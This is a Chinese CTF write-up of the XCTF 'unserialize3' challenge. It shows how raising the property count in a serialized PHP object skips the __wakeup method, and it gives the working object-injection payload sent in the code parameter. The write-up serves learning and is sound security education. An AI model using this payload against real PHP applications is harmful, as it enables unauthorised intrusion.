天天看点

【攻防世界】九、unserialize3

【攻防世界】九、unserialize3

步骤

打开所给场景

【攻防世界】九、unserialize3

发现给了一段代码,发现有一个类,还有一个疑似get传参的参数code,尝试一下传参:

【攻防世界】九、unserialize3
【攻防世界】九、unserialize3

发现可以传入参数,而且类不再显示,并且提醒我们不能传数字,大胆猜想一下想要传递的值为序列化后的字符串

ok,我们将xctf类进行序列化:

<?php
class xctf{
	public $flag = '111';
	public function __wakeup(){
		exit('bad requests');
	}
}
echo serialize(new xctf());
?>
           
【攻防世界】九、unserialize3

得到序列化字符串:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

传入试试:

【攻防世界】九、unserialize3

发现输出了bad requests,分析源码可知:是调用了

__wakeup()

魔术方法退出了程序,而它会在反序列化之前自动调用,所以我们要绕过它,很简单,前面做过类似的题目(Web_php_unserialize),只需要让序列化之后字符串的属性值大于实际数目即可绕过

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

【攻防世界】九、unserialize3

成功拿到flag~

总结

考察php反序列化以及php魔术方法的了解